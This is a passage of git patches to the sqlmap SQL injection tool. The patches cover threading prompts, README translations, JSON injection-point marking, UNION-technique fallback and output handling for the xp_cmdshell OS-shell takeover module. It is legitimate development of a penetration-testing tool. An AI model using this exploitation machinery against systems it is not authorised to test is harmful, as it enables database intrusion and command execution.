self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], + shell=False, stdin=PIPE, close_fds=False) def engine_stop(self): if self.process: From 4e3a4eb0ff12cdad671fdc0abfe2d59f5a85ce07 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Oct 2014 12:09:08 +0200 Subject: [PATCH 512/889] Added a prompt for choosing a number of threads when in crawling mode --- lib/core/threads.py | 6 +++--- lib/utils/crawler.py | 5 +---- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/core/threads.py b/lib/core/threads.py index 8eb10f99c..2b4ce4eb4 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -106,7 +106,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio kb.threadContinue = True kb.threadException = False - if threadChoice and numThreads == 1 and any(_ in kb.injection.data for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY, PAYLOAD.TECHNIQUE.UNION)): + if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: message = "please enter number of threads? [Enter for %d (current)] " % numThreads choice = readInput(message, default=str(numThreads)) @@ -115,11 +115,11 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS logger.critical(errMsg) else: - numThreads = int(choice) + conf.threads = numThreads = int(choice) break if numThreads == 1: - warnMsg = "running in a single-thread mode. This could take a while." + warnMsg = "running in a single-thread mode. This could take a while" logger.warn(warnMsg) try: diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 07860ff87..caea59a85 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -115,9 +115,6 @@ def crawl(target): logger.info(infoMsg) for i in xrange(conf.crawlDepth): - if i > 0 and conf.threads == 1: - singleTimeWarnMessage("running in a single-thread mode. This could take a while") - threadData.shared.count = 0 threadData.shared.length = len(threadData.shared.unprocessed) numThreads = min(conf.threads, len(threadData.shared.unprocessed)) @@ -125,7 +122,7 @@ def crawl(target): if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) - runThreads(numThreads, crawlThread) + runThreads(numThreads, crawlThread, threadChoice=(i>0)) clearConsoleLine(True) if threadData.shared.deeper: From be213bc657cade85858cdd06248a0e37e87ee277 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Oct 2014 22:41:53 +0200 Subject: [PATCH 513/889] Bug fix for crashes caused by '--search --exclude-sysdbs --current-db' --- plugins/generic/search.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/generic/search.py b/plugins/generic/search.py index f38f7428b..6e9c2fe75 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -261,7 +261,7 @@ class Search: if tblConsider == "2": continue else: - for db in conf.db.split(","): + for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] @@ -501,7 +501,7 @@ class Search: if db not in foundCols[column]: foundCols[column][db] = [] else: - for db in conf.db.split(","): + for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] From 6db4b29fd34bf7f246a4cd82f2646cd5c4dc250c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Oct 2014 09:02:33 +0200 Subject: [PATCH 514/889] Adding contributed Greek and Chinese translations --- README.md | 4 ++- doc/THANKS.md | 6 ++++ doc/translations/README-cn-CN.md | 58 +++++++++++++++++++++++++++++++ doc/translations/README-gr-GR.md | 59 ++++++++++++++++++++++++++++++++ 4 files changed, 126 insertions(+), 1 deletion(-) create mode 100644 doc/translations/README-cn-CN.md create mode 100644 doc/translations/README-gr-GR.md diff --git a/README.md b/README.md index a620dc945..407ef70ee 100644 --- a/README.md +++ b/README.md @@ -55,5 +55,7 @@ Links Translations ---- -* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-cn-CN.md) +* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) +* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) diff --git a/doc/THANKS.md b/doc/THANKS.md index b56820891..97335723c 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -660,6 +660,9 @@ fufuh, Hans Wurst, * for reporting a couple of bugs +Hysia, +* for contributing a Chinese translation of README.md + james, * for reporting a bug @@ -719,6 +722,9 @@ smith, Soma Cruz, * for reporting a minor bug +Spiros94, +* for contributing a Greek translation of README.md + Stuffe, * for reporting a minor bug and a feature request diff --git a/doc/translations/README-cn-CN.md b/doc/translations/README-cn-CN.md new file mode 100644 index 000000000..9080e7ad5 --- /dev/null +++ b/doc/translations/README-cn-CN.md @@ -0,0 +1,58 @@ +sqlmap +== + + +sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 + +演示截图 +---- + +![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的演示 + +安装方法 +---- + +你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. + +推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 **2.7.x** 版本的任何平台上 + +使用方法 +---- + +通过如下命令可以查看基本的用法及命令行参数: + + python sqlmap.py -h + +通过如下的命令可以查看所有的用法及命令行参数: + + python sqlmap.py -hh + +你可以从 [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 + +链接 +---- + +* 项目主页: http://sqlmap.org +* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki +* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* 邮件讨论列表: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* 邮件列表 RSS 订阅: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* 邮件列表归档: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +翻译 +---- + +* [葡萄牙文](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [印度尼西亚文](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md new file mode 100644 index 000000000..4d34e42db --- /dev/null +++ b/doc/translations/README-gr-GR.md @@ -0,0 +1,59 @@ +sqlmap +== + + +Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. + +Εικόνες +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνύουν κάποια από τα χαρακτηριστικά. + +Εγκατάσταση +---- + +Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόρμα. + +Χρήση +---- + +Για να δείτε μια βασική λίστα από επιλογές πατήστε: + + python sqlmap.py -h + +Για να πάρετε μια λίστα από όλες τις επιλογές πατήστε: + + python sqlmap.py -hh + +Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://gist.github.com/stamparm/5335217). +Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki). + +Σύνδεσμοι +---- + +* Αρχική σελίδα: http://sqlmap.org +* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues +* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki +* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Εγγραφή σε Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Mailing list αρχείο: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +Μεταφράσεις +---- + +* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) From fb65caabd239cca7611c3afcb43c04ffaf5f7f58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Oct 2014 09:19:25 +0200 Subject: [PATCH 515/889] Unhidding switch --ignore-401 --- lib/parse/cmdline.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b2d736afe..0084e731c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -136,6 +136,9 @@ def cmdLineParser(): request.add_option("--auth-private", dest="authPrivate", help="HTTP authentication PEM private key file") + request.add_option("--ignore-401", dest="ignore401", action="store_true", + help="Ignore HTTP Error 401 (Unauthorized)") + request.add_option("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") @@ -728,9 +731,6 @@ def cmdLineParser(): parser.add_option("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS_HELP) - parser.add_option("--ignore-401", dest="ignore401", action="store_true", - help=SUPPRESS_HELP) - parser.add_option("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS_HELP) From 006d9d185925322f02e91ff52b9a3ba5052a7591 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Oct 2014 12:00:34 +0200 Subject: [PATCH 516/889] Bug fix for a problem reported by a user via ML (--os-shell) --- lib/takeover/xp_cmdshell.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index e8ffe746f..b1dbf3388 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission from lib.core.agent import agent from lib.core.common import Backend +from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import getSQLSnippet from lib.core.common import hashDBWrite @@ -226,12 +227,16 @@ class Xp_cmdshell: inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: - if not (output[0] or "").strip(): - output = output[1:] - elif not (output[-1] or "").strip(): - output = output[:-1] + _ = "" + lines = [_ for _ in flattenValue(output) if _ is not None] - output = "\n".join(line for line in filter(None, output)) + for i in xrange(len(lines)): + line = lines[i] or "" + if line is None or i in (0, len(lines) - 1) and not line.strip(): + continue + _ += "%s\n" % line + + output = _.rstrip('\n') return output From db30b37f8abd69e9221f8b4b65932f17ffa027e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 14 Oct 2014 09:00:26 +0200 Subject: [PATCH 517/889] Removing translations from already translated pages (to ease the inclusion of other languages) --- doc/translations/README-cn-CN.md | 6 ------ doc/translations/README-gr-GR.md | 6 ------ 2 files changed, 12 deletions(-) diff --git a/doc/translations/README-cn-CN.md b/doc/translations/README-cn-CN.md index 9080e7ad5..c3b8b2941 100644 --- a/doc/translations/README-cn-CN.md +++ b/doc/translations/README-cn-CN.md @@ -50,9 +50,3 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 * Twitter: [@sqlmap](https://twitter.com/sqlmap) * 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots - -翻译 ----- - -* [葡萄牙文](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [印度尼西亚文](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 4d34e42db..8b09ba653 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -51,9 +51,3 @@ sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots - -Μεταφράσεις ----- - -* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) From 19b0bc5a9219324ffd49dc3def933ae01a4e82a9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 14 Oct 2014 09:31:03 +0200 Subject: [PATCH 518/889] Adding a Croatian translation of README.md --- doc/translations/README-hr-HR.md | 53 ++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 doc/translations/README-hr-HR.md diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md new file mode 100644 index 000000000..69e2d531d --- /dev/null +++ b/doc/translations/README-hr-HR.md @@ -0,0 +1,53 @@ +sqlmap +== + + +sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. + +Slike zaslona +---- + +![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od značajki na wiki stranicama. + +Instalacija +---- + +Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi. + +Korištenje +---- + +Kako biste dobili listu osnovnih opcija i prekidača koristite: + + python sqlmap.py -h + +Kako biste dobili listu svih opcija i prekidača koristite: + + python sqlmap.py -hh + +Možete pronaći primjer izvršavanja [ovdje](https://gist.github.com/stamparm/5335217). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki). + +Poveznice +---- + +* Početna stranica: http://sqlmap.org +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues +* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki +* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Pretplata na mailing listu: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* RSS feed mailing liste: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Arhiva mailing liste: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From 50e7cae915c6eec338dee656042b09cb4b71d07b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 14 Oct 2014 09:32:01 +0200 Subject: [PATCH 519/889] Minor update --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 407ef70ee..87d361bd0 100644 --- a/README.md +++ b/README.md @@ -56,6 +56,7 @@ Translations ---- * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-cn-CN.md) +* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) From 1b18035eb3173b8009b279383a74ce76d8bd69b1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 14 Oct 2014 13:00:51 +0200 Subject: [PATCH 520/889] Correcting language code --- README.md | 2 +- doc/translations/{README-cn-CN.md => README-zh-CN.md} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename doc/translations/{README-cn-CN.md => README-zh-CN.md} (100%) diff --git a/README.md b/README.md index 87d361bd0..8115c5dd5 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,7 @@ Links Translations ---- -* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-cn-CN.md) +* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) diff --git a/doc/translations/README-cn-CN.md b/doc/translations/README-zh-CN.md similarity index 100% rename from doc/translations/README-cn-CN.md rename to doc/translations/README-zh-CN.md From 3ebc5faa345a90a54a5c7b24db259ff5f9c88c41 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 Oct 2014 09:23:34 +0200 Subject: [PATCH 521/889] Falling back to partial UNION if large dump connects out --- lib/request/inject.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 5fa111829..4da700d94 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -38,6 +38,7 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import MAX_TECHNIQUES_PER_VALUE @@ -371,11 +372,18 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] - value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) + fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + + try: + value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) + except SqlmapConnectionException: + if not fallback: + raise + count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE - if not found and not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion: + if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" From a2f578dbf4d2cace46dac66d8ef6b01322d6acb8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 10:28:10 +0200 Subject: [PATCH 522/889] Patch to also include JSON array elements into automatic recognition --- lib/core/target.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/core/target.py b/lib/core/target.py index 1daf63060..1c91a4d59 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -134,6 +134,12 @@ def _setRequestParams(): conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) + match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) + if match and not (conf.testParameter and match.group("name") not in conf.testParameter): + _ = match.group(2) + _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _) + conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) kb.postHint = POST_HINT.JSON elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): From e239fefe67c18ce0199a35a2e4f1743cdae3565c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 10:38:49 +0200 Subject: [PATCH 523/889] Minor patch for JSON requests --- lib/core/agent.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index b8abc5567..2d6146c3b 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -101,10 +101,8 @@ class Agent(object): origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = origValue.split('>')[-1] - elif kb.postHint == POST_HINT.JSON: - origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)(?P[^"]+\Z)', origValue) - elif kb.postHint == POST_HINT.JSON_LIKE: - origValue = extractRegexResult(r'(?s)\'\s*:\s*(?P\d+\Z)', origValue) or extractRegexResult(r"(?s)(?P[^']+\Z)", origValue) + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P[^"\[,]+\Z)', origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" From 268095495e3225ab0266c78b4ed541e7c405c77b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 13:32:49 +0200 Subject: [PATCH 524/889] Minor patch --- lib/request/basic.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 95a6b23ec..e30ab2df8 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -38,6 +38,7 @@ from lib.parse.headers import headersParser from lib.parse.html import htmlParser from lib.utils.htmlentities import htmlEntities from thirdparty.chardet import detect +from thirdparty.odict.odict import OrderedDict def forgeHeaders(items=None): """ @@ -51,7 +52,7 @@ def forgeHeaders(items=None): if items[_] is None: del items[_] - headers = dict(conf.httpHeaders) + headers = OrderedDict(conf.httpHeaders) headers.update(items or {}) class _str(str): @@ -62,7 +63,7 @@ def forgeHeaders(items=None): return _str(self) _ = headers - headers = {} + headers = OrderedDict() for key, value in _.items(): success = False if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): From 2f18df345e916306b8e5ee344a60233137ea2fee Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 13:41:36 +0200 Subject: [PATCH 525/889] Minor patch --- lib/request/connect.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index d0512b8b5..99e88cacc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -92,8 +92,9 @@ from lib.request.basic import processResponse from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest -from thirdparty.socks.socks import ProxyError from thirdparty.multipart import multipartpost +from thirdparty.odict.odict import OrderedDict +from thirdparty.socks.socks import ProxyError class Connect(object): @@ -638,7 +639,7 @@ class Connect(object): threadData = getCurrentThreadData() if conf.httpHeaders: - headers = dict(conf.httpHeaders) + headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: From 34aed7cde0ee3d49aa07cae9d6c269b9f3540b1d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 13:49:29 +0200 Subject: [PATCH 526/889] Bug fix (now it's possible to use multiple parsed requests without mixing associated headers) --- lib/controller/controller.py | 7 +++++-- lib/core/common.py | 2 +- lib/core/option.py | 7 ++++--- lib/utils/crawler.py | 2 +- 4 files changed, 11 insertions(+), 7 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index e57330d96..68d5eb8e8 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -251,7 +251,7 @@ def start(): return True if conf.url and not any((conf.forms, conf.crawlDepth)): - kb.targets.add((conf.url, conf.method, conf.data, conf.cookie)) + kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " @@ -264,13 +264,16 @@ def start(): logger.info(infoMsg) hostCount = 0 + initialHeaders = list(conf.httpHeaders) - for targetUrl, targetMethod, targetData, targetCookie in kb.targets: + for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie + conf.httpHeaders = list(initialHeaders) + conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() diff --git a/lib/core/common.py b/lib/core/common.py index 9b8f21045..2131f695e 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3391,7 +3391,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): logger.debug(debugMsg) continue - target = 